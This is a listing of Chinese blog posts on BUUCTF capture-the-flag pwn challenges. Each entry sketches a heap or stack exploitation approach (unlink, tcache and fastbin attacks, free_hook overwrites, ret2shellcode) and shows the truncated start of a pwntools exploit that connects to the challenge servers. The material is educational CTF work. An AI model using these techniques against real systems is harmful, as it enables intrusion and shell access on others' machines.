
BUUCTF
doudoudedi
My journey is the sea of star
展开
-
root_me_stack_buffer_overflow_basic
ARM pwn简单的栈溢出,就是环境搭建的问题调试出偏移0xa4,发现啥保护没有开,还泄漏了栈地址,就直接ret2shellcode了from pwn import *#p=process(qemu-arm -g 1234 -L /usr/arm-linux-gnueabihf/ ./root_me_stack_buffer_overflow_basiac"])p=remote("node3.buuoj.cn",27876)p.sendlineafter('Give me data to dump原创 2020-08-10 13:43:09 · 601 阅读 · 0 评论 -
ciscn_2019_s_1
思路通过off by null写key值然后unlink写bss段再次double free写free_hook即可拿到shellexp:from pwn import *#p=process('./ciscn_s_1')p=remote('node3.buuoj.cn',26429)elf=ELF('./ciscn_s_1')libc=elf.libcdef add(idx,size,data): p.sendlineafter('show','1') p.sendlineafte原创 2020-06-29 19:13:51 · 823 阅读 · 2 评论 -
actf_2019_actfnote
思路通过溢出将topchunk的位置向上提然后申请堆块即可完成一次任意地址写入exp:#!/usr/bin/python2from pwn import *#p=process('./ACTF_2019_ACTFNOTE')p=remote('node3.buuoj.cn',26474)elf=ELF('./ACTF_2019_ACTFNOTE')libc=elf.libcdef add(size,name,content): p.sendlineafter('$ ','1') p.原创 2020-06-22 22:58:59 · 613 阅读 · 0 评论 -
de1ctf_2019_weapon
这题我多了一个换行搞了老久了服了还是tcl思路有uaf通过写IO来得到libc地址然后通过double free来拿到shellexp:#!/usr/bin/python2from pwn import *p=0def pwn(): global p #p=process('./de1ctf_2019_weapon') p=remote('node3.buuoj.cn',292...原创 2020-05-06 13:50:18 · 744 阅读 · 0 评论 -
x_nuca_2018_0gadget
思路在bss段上有构造uaf然后劫持got表即可exp:#!/usr/bin/python2from pwn import *def pwn(): #p=process('./X-nuca_2018_0gadget') p=remote('node3.buuoj.cn',27565) elf=ELF('./X-nuca_2018_0gadget') libc=elf.libc ...原创 2020-04-30 16:52:08 · 351 阅读 · 0 评论 -
ciscn_2019_sw_7
思路堆溢出orztcache不要全部写坏不然难搞exp:#!/usr/bin/python2from pwn import *p=0def pwn(ip,port,debug): global p if debug==1: p=process('./ciscn_2019_sw_7') elf=ELF('./ciscn_2019_sw_7') libc=elf.libc...原创 2020-04-23 18:55:05 · 362 阅读 · 0 评论 -
ciscn_2019_sw_1
思路通过格式化字符串是程序无限循环(__do_global_dtors_aux_fini_array_entry内存的地址写成main函数地址)我们是通过libc_start_main调用main函数不管是在man函数调用前后都会调用fini函数的指针所以只要将其写坏即可然后将print_got表写成system即可拿到shellexp:from pwn import *#p=proce...原创 2020-04-16 20:42:54 · 643 阅读 · 0 评论 -
ciscn_2019_es_4
思路先unlink将地址key写好然后做一次off by one在tcache attack就行了exp:#!/usr/bin/python2from pwn import *#p=process('./ciscn_2019_es_4')p=remote('node3.buuoj.cn',25382)elf=ELF('./ciscn_2019_es_4')libc=elf.libc...原创 2020-04-08 15:45:43 · 435 阅读 · 0 评论 -
noxctf2018_grocery_list&&actf_2019_message
noxctf2018_grocery_list先是观察函数发现有一个可以泄露栈地址然后通过tcache attack打到栈上泄露libcbase然后再次写入free_hook拿到shellexp:#!/usr/bin/python2from pwn import *#p=process('./GroceryList')p=remote('node3.buuoj.cn',26988)e...原创 2020-03-17 22:45:24 · 556 阅读 · 0 评论 -
ciscn_2019_c_3
思路通过后门函数改fd然后tcache dump打到free_hook即可exp:#!/usr/bin/python2from pwn import *#p=process('./ciscn_2019_c_3')p=remote('node3.buuoj.cn',29374)elf=ELF('./ciscn_2019_c_3')libc=elf.libcdef add(size...原创 2020-03-04 14:06:11 · 443 阅读 · 0 评论 -
suctf2018_heap
suctf2018_heap这道题会一次性申请2个相同大小的chunk做的时候有点逻辑混乱深深的怀疑本来是ubuntu16的环境…思路 :off by one打成堆重叠写到指针段写atoi为system拿shellexp:from pwn import *#p=process('./offbyone')p=remote('node3.buuoj.cn',26238)elf=ELF(...原创 2020-02-27 22:25:22 · 402 阅读 · 0 评论 -
hg2020 pwn
打了我就记录一下(有点记不太清了有点久了~~)Annevi这道题是做2次unlink然后写got表即可#!/usr/bin/python2from pwn import *local=0if local==1: p=process('./Annevi') elf=ELF('./Annevi') libc=elf.libcelse: p=remote('47.103.214....原创 2020-02-23 22:17:08 · 551 阅读 · 0 评论 -
新春战疫公益赛(二)pwn
第一天和第三天直接被爆锤自己已经尽力了武汉加油!!!borrowstack就是基本的栈迁移exp:from pwn import *from LibcSearcher import *#p=process('./borrowstack')p=remote('123.56.85.29',3635)elf=ELF('./borrowstack')libc=elf.libcbss...原创 2020-02-23 22:07:48 · 861 阅读 · 2 评论 -
shanghai2019_boringheap
思路abs函数(取绝对值)的溢出使得为负数然后改size构造2个指针指向同一chunk完成一次double free为远程ubuntu18即可以直接打free_hookexp:from pwn import *#p=process('./pwn')p=remote('node3.buuoj.cn',26942)elf=ELF('./pwn')libc=elf.libcdef ad...原创 2020-02-18 21:14:03 · 397 阅读 · 0 评论 -
X-nuca_2018_offbyone2
思路off by null构造堆重叠然这里的堆块个数充足直接打2次第一次leak libc基址再次布置好堆块然后打free_hook拿到shellexp:from pwn import *#p=process('./X-nuca_2018_offbyone2')p=remote('node3.buuoj.cn',28262)elf=ELF('./X-nuca_2018_offbyo...原创 2020-02-11 14:26:33 · 524 阅读 · 1 评论 -
ciscn_2019_c_5
思路格式化字符串leak然后打free_hookexp:from pwn import *#p=process('./ciscn_2019_c_5')p=remote('node3.buuoj.cn',27000)elf=ELF('./ciscn_2019_c_5')libc=elf.libcdef add(size,story): p.sendlineafter(':'...原创 2020-02-09 12:04:54 · 595 阅读 · 0 评论 -
others_pwn1&&starctf_2019_girlfriend
starctf_2019_girlfriend正常的uaf漏洞fastbin attackexp:from pwn import *#p=process('./starctf_2019_girlfriend')p=remote('node3.buuoj.cn',27758)elf=ELF('./starctf_2019_girlfriend')libc=elf.libcdef ad...原创 2020-02-06 17:38:51 · 677 阅读 · 0 评论 -
axb_2019_heap
思路格式化字符串泄露程序基址和libc基址然后unlink一个指针到bss段将free_hook写入system释放即可拿到shellexp:from pwn import *#p=process('./axb_2019_heap')p=remote('node3.buuoj.cn',29873)elf=ELF('./axb_2019_heap')libc=elf.libc#gdb...原创 2020-02-05 20:22:46 · 976 阅读 · 0 评论 -
others_easyheap
思路堆溢出构造堆块重叠打free_hook为systemexp:from pwn import *#p=process('./easyheap')elf=ELF('./easyheap')libc=elf.libcp=remote('node3.buuoj.cn',29973)def add(size,content): p.sendlineafter(':','1') p.s...原创 2020-02-04 21:27:19 · 470 阅读 · 0 评论 -
ciscn_2019_n_4
堆块上有悬挂的指针直接对它进行写入即可exp:#!/usr/bin/python2from pwn import *#p=process('./ciscn_2019_n_4')p=remote('node3.buuoj.cn',25967)elf=ELF('./ciscn_2019_n_4')libc=elf.libcdef add(size,content): p.sen...原创 2020-02-03 16:08:52 · 2027 阅读 · 3 评论 -
nsctf_online_2019_pwn2
思路先是用leaklibc地址然后fastbin attack打malloc_hook即可exp:#!/usr/bin/python2from pwn import *local=1if local==1: p=process('./nsct2019pwn2') elf=ELF('./nsct2019pwn2') libc=elf.libcelse: p=remote('no...原创 2020-01-31 18:36:44 · 819 阅读 · 0 评论 -
某入群题
不好讲就是入群题exp:#! /usr/bin/python2from pwn import *from LibcSearcher import *local=0if local==1: p=process('../binary/spwn') elf=ELF('../binary/spwn') libc=elf.libcelse: p=remote('node3.buuoj....原创 2020-01-29 12:25:29 · 787 阅读 · 1 评论 -
buuctf warmup
函数很少我们需要控制寄存器的值来执行内核调用(int 80)思路先将字符串/bin/sh写入程序32位的程序用栈传递参数所以我们有充足的空间进行ROP然后跳回程序开始然后将再次读入/bin/sh然后控制好寄存器的值即打开execve的系统调用(这里函数最后的ret会使栈向上提了4个byte所以寄存器控制好了)~~exp:#!/usr/bin/python2from pwn import ...原创 2020-01-28 17:52:02 · 610 阅读 · 2 评论 -
ciscn_2019_s_4
可以看到有栈溢出的漏洞能过控制执行流exp:#!/usr/bin/python2from pwn import *from LibcSearcher import *local=0if local==1: p=process('./ciscn_s_4') elf=ELF('./ciscn_s_4') #libc=elf.libcelse: p=remo...原创 2020-01-26 16:18:26 · 1037 阅读 · 0 评论 -
ciscn_2019_en_3
新年好啊大家解题常规操作tcache打free_hookexp:#!/usr/bin/python2from pwn import *local=0if local==1: p=process('./ciscn_2019_en_3') elf=ELF('./ciscn_2019_en_3') libc=elf.libcelse: p=remote('...原创 2020-01-25 20:00:31 · 948 阅读 · 0 评论 -
BUUCTF bbys_tu_2016&&xm_2019_awd_pwn2
在家希望武汉的师傅们一切都好~~bbys_tu_2016这道有点没搞清额额flag文件是flag.txt是能control但是好像不能ROP也是能读到flag文件的就很简单了还有似乎文件没写好setbuf函数不会先出现io流exp:#!/usr/bin/python2from pwn import *local=0if local==1: p=process('../binary/...原创 2020-01-23 20:07:09 · 1108 阅读 · 0 评论 -
BUUCTF zctf_2016_note3
一道典型的unlink题目整形溢出因为i是无符号长整型如果输入-1就会变得巨大实现堆溢出这里应该可以用unlink泄露libc基址然后用fastbin attack打malloc_hook但是这里有多次写入的edit功能就很好做了先申请4个chunk然后unlink一个指针到bss段上unlink的操作fake chunk的fd和bk必须指回自己也就是一个确定的值具体为``fake ch...原创 2020-01-13 22:44:16 · 512 阅读 · 0 评论 -
BUUCTF ciscn_2019_ne_5
这道题是一道典型的ROP一开始没找到参数~~直接溢出ememexp(其实我写的很麻烦了很简单的)#!/usr/bin/python2from pwn import *local=1if local==1: p=process('../binary/ciscn_2019_ne_5') elf=ELF('../binary/ciscn_2019_ne_5') libc=elf.lib...原创 2020-01-06 13:47:12 · 845 阅读 · 3 评论 -
glibc malloc源码分析(二)
当我们调用malloc时先到libc函数中调用libc_malloc,__libc_malloc会先调用malloc_hook_init进行初始化,然后返回__libc_malloc,这时候会执行_init_malloc开始分配内存 ,定义在malloc.c中我来分段分析1Void_t* public_mALLOc(size_t bytes) { mstate ar_ptr; ...原创 2020-01-04 22:33:02 · 373 阅读 · 0 评论 -
BUUCTF ciscn_2019_es_1
我本地直接用fastbin attack直接能打通但是远程似乎有问题思路首先申请一个smallbin大小的trunk然后释放打印得到libc基址,然后double free打fastbin attack之后写到libc去__malloc_hook写入one_gadget再次add获取shell以下为ubuntu16的环境下本地也就是libc-2.23exp:#!/usr/bin/pyth...原创 2020-01-04 15:39:01 · 963 阅读 · 0 评论 -
BUUCTF get_started_3dsctf_2016
这道题和昨天差不多栈溢出覆盖返回地址然后把bss段mprotect可读可写可执行然后写入shellcode跳入bss段即可exp:from pwn import *def debug(): gdb.attach(p)#p=process('./getstarted')p=remote('node2.buuoj.cn.wetolink.com',28646)elf=ELF('./ge...原创 2019-10-04 10:02:23 · 1334 阅读 · 0 评论 -
BUUCTF not_the_same
开始以为是简单的栈溢出发现可以调用的函数很少而且开启了nx,leak不了libc。这里需要将bss段设置成可读可写可执行,然后跳到bss段执行shellcode我这里参数中有地址最好使用gadgetexp:from pwn import *def debug(): gdb.attach(p)p=process('./notsame')#p=remote('node2.buuoj...原创 2019-10-03 11:44:28 · 409 阅读 · 0 评论 -
BUUCTF 新春快乐
明天四级做个签到题放松心情我想啊有没有会ida动态调试的大佬教教我我QQ:1398581885这道题看上去在后面直接ida分析我发现有壳然后去壳就这样阅读程序得到flagflag{HappyNewYear!}划水划水哈哈哈快乐起来...原创 2019-06-14 20:08:08 · 751 阅读 · 2 评论